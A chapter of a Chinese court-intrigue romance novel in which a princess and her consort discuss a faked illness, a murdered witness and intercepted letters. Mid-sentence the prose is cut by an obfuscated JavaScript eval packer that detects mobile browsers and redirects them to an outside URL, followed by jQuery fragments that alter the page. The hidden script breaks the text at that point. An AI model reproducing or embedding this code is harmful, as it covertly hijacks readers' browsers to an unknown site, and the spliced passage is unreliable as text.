“身子好些了么?”
“自然,否则我也回不来。”邵岁颐懒洋洋靠在椅背上。
姜潼随手拨弄了桌上的金盏银台,向下人说道:“拿下去吧,病人不宜接触这个。”
下人领命,忙不迭端着花撤了出去。
“我都已经痊愈了,还那么小心做什么,放着给你赏玩就是。”
“不必,我也不喜欢这些,”姜潼垂目淡淡道,“殿下心情不错。”
邵岁颐笑:“是有些好事。”
她无意遮掩情绪,可对方却不回话了。邵岁颐抬头看去,见姜潼只顾刮着盏中的泡沫。
“怎么了?”
“我听说殿下在京郊驻扎了两天,回京时倒又带回一个人来。殿下当真是在休养身体吗?”
“就知道瞒不过你……无奈之举罢了,”伪装被识破,邵岁颐毫不意外,仍旧兴致勃勃,“我若不装病,怎么让那些人放松警惕?你可知,那真人证……”
“殿下,”邵岁颐的滔滔不绝却被打断,姜潼深吸一口气,“为何不早告诉我?”
邵岁颐愣了愣:“什么?”
“殿下在京郊只是为麻痹背后操控者,为什么不能早告诉我?想得到让人安置证人,偏偏想不到我听闻殿下患恙的消息会……”
“……”邵岁颐被质疑,脑中有点发蒙,咂摸片刻,却觉出点意思来,“为什么?你担心我?”
“难道我不能担心殿下吗?”姜潼迅速说道,旋即紧紧闭住了嘴。
邵岁颐眨眨眼,笑了出来。
“我记住了,下次一定记得。”
姜潼转过脸去,片刻后才开口:“……罢了。下次无论如何,我也要去亲自看过殿下才放心。”
“好啊,下次你来,我就告诉你我的计划,我们一同去。”邵岁颐安抚道。
片刻后,姜潼似是冷静了些,面对自己的失态,难得的有些手足无措。
“罢了,”他叹了口气,“我不该这样和殿下说话,向殿下告罪。”
“要告罪,有坐在椅子上告的吗?”
姜潼愣了愣,便要起身,邵岁颐斜过身子按住了他。
“你坐下,逗你都听不出来?要告罪,得来坐我旁边,我才饶你。”
姜潼棱角分明的面上瞬间淡淡飞红:“殿下。”
邵岁颐哈哈大笑:“山不来就我,我只好就山咯。”
随即,她起身,站在对方身后,按住又想要起身的动作,安抚地搭上肩,微微俯下身去:“我喜欢你这样,没什么需要告罪的。我们相处,原本就该不受拘束,对吗?”
邵岁颐发饰不多,偏偏一根珠串垂了下来,姜潼用余光瞧见,晃晃悠悠,尾端的一颗小红珠子惹眼得紧。
正想起身,邵岁颐却觉手背一热,却是对方将手附在自己的左手之上,姜潼坐在椅子上,却强半转过身来,与身后的她四目相对。
二人相距不过数寸。
这样的距离只能看清楚彼此的眼睛,姜潼眉下阴影笼罩,瞳孔在在灯火的映照下,闪闪烁烁。
姜潼直起身,呼吸越来越近,邵岁颐恍神,低下头去,偏偏在对方额上落下一吻。
两人都怔住了。
气氛正好,可这个场合显然不够庄重,无异于草草苟合。
就这这个姿势,邵岁颐收拢双臂,稍稍用力给了对方一个拥抱,便直起身。
邵岁颐走出一段距离,姜潼将手搭在尚有余温的肩膀,又忍不住揉了揉鼻尖。
之前又不是没有更亲密的接触,邵岁颐咯咯笑了起来,正襟危坐,饮了口茶。
姜潼面上的热气许久才散去:“殿下……”
“嗯?”邵岁颐带着笑意看回去。
“……殿下方才说证人如何?”
“我一开始找到的那个是假证人,”邵岁颐放下了茶盏,“我找到的时候就起疑了,线索都恰好符合,且有几个人相互印证。那姓乌的必定处处小心,哪会让那么多人发现端倪?”
姜潼点点头:“如此说来,确实蹊跷,殿下机敏。那又怎能找到如今的证人?”
说到这里,邵岁颐却叹了口气:“其实,真正的证人,大概已经死了。”
“什么?”
邵岁颐点点头:“在京城相反的方向,有一家小客栈,由于位置并不在大路附近,鲜有人投宿。可据附近的人家说,开客栈的这户人家,已经失踪数日了。”
“……可贼首已经伏诛,又为何要狠心除掉店家?想必那罪人是偶然投宿,与其并无关联。”
“正是,”邵岁颐轻敲扶手,“死人不会开口说话,但凡事发生,必定有痕。一切事物,都与其它事物有着千丝万缕的联系,牵一发而动全身。因此,有的人才为了除去某些痕迹,不得不除掉目击者。”
“那会是……”姜潼皱起眉。
“乌兴生赶赴京城,又带着一帮死士潜入猎场,不会没有靠山。极有可能,那户人家,就是瞧见了对方与她接头。想必,来接头的人身份也不一般,若是被人说出相貌,我必定能认出,对方才不得不做出此举。”
沉默片刻,姜潼点点头:“真是无妄之灾。那你第二次带回来的人又是?”
“凡是发生,必定有痕,记得吗?”邵岁颐深吸了口气,“幕后那些人也不会想到,她们为了掩盖痕迹,却留下了新的痕迹。带走一家几口不是小事,夜里传来异动,虽然大多人不会察觉,但总有例外……那是个破落户,原本想趁夜深出来干点小偷小摸的勾当,却恰巧躲在缝隙中,看到了事情发生的全貌。”
“真是天助殿下,”姜潼吐出一口气来,“想必有了这个人,幕后之人便能被揪出了。”
“不好说,”邵岁颐却挥挥手,“那人只隐约见了打扮和相貌,一一比对过去,却得好些时日。”
“接头者是关键人物,可来灭口的这些却只是手下,那人虽然看到了这些人,但京中的打手死士不少,藏着的更多,如此说来,却是大海捞针。”姜潼又皱起眉头。
“是,好在还有别的法子。”邵岁颐吊胃口似的,炫耀道。
“什么?”
“唔……要我告诉你,那你……”邵岁颐一挑眉,“方才是我亲你,下次你得亲我一下。”
话题突然轻轻巧巧地转变,饶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280231|166792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是姜潼反复几次也脸皮厚了,被逗得有些哭笑不得:“……殿下。”
“好吧,也算是撒娇了,”邵岁颐才不紧不慢说道,“我派了人在谷前替我调查,前日她来信告诉我,已经截获了京中某人与知府往来的信件。”
“哦?如此,顺藤摸瓜便也可知晓此次大局的幕后主使了,且知府的罪责,怕是再也难逃。主使是谁?”
“还没有说,”邵岁颐理理衣衫,“不日她自己即将回京,到时,她会亲自告诉我。”
姜潼点点头:“如此,更稳妥些。”
“你可知道,我为何如此舒心了?”
“殿下领皇命查案,如今即将大成,自然高兴。”
“还不止呢,”邵岁颐歪头,“因为我仇怨即将得报。”
见对方不回话,邵岁颐转过去看她,嘴角带着笑意:“恐怕你不知道,我很记仇。”
“乌兴生横死当初,我虽然愤恨于不能从她口中再挖出东西,却也痛快。她自己一意想杀我,虽然不知为何,但她该死。有人操纵她这条恶犬害我性命,待我找出来,必定也一个一个清算,百倍奉还。”
“本该如此。”
“不觉得我狠厉吗?”
姜潼皱起眉:“殿下作此想再正常不过。天潢贵胄,岂能有一丝一毫不妥?”
邵岁颐便笑笑,两人对视一眼。
“那么现下,殿下便只需等候手下的人归京即可。若没有其它事……”
“怎么?”
姜潼一笑:“年关将至,殿下怕不是都快要忙忘了?”
邵岁颐恍然:“正是。”
“殿下,可多进宫走走,天寒地冻,陛下病过有些虚弱,该多关心些。如今查案进展,也该禀报。”
“好,都听你的,果然是贤夫。”
夜深,二人话罢,便要相别。
走到廊下,姜潼却似想起什么来。
“……还有一事,殿下可要趁此机会争取一二?”
“你说?”
“殿下去谷前之前,我就同殿下说过,各地的举人已经到了京中,祭拜文曲星,不日就将举行典礼。殿下若是有意,不妨入宫时也提一句,相府这边也会暗中相助。”
邵岁颐轻抚栏杆,望向庭院:“我没忘记。你说过,主持此祭典,可以与举子结识,增添助力。”
“是。”
“可如今的举子少有寒门,多半各有师承,换句话说,已有派系,你们姜家门下已经旁支,想必是最多。”
姜潼没有什么好遮掩的:“这倒是。”
“有从师这样的关系在,难不成我操办一次祭典,见她们几次面,她们就会转投向我?”
姜潼没想到邵岁颐会想到这一层,一怔。
虽说邵岁颐所说确实属实,可自本朝以来,皇嗣们依旧想尽办法争取可能存在的好苗子。无它,大家都想有纯粹的属于自己的势力,哪怕是从权臣世家手中漏下的一星半点。
“那殿下的意思是……”
“既然有姜家,我就要摆烂了,”邵岁颐一笑,“就让我歇这么几日吧,做个孝子,还有良人。”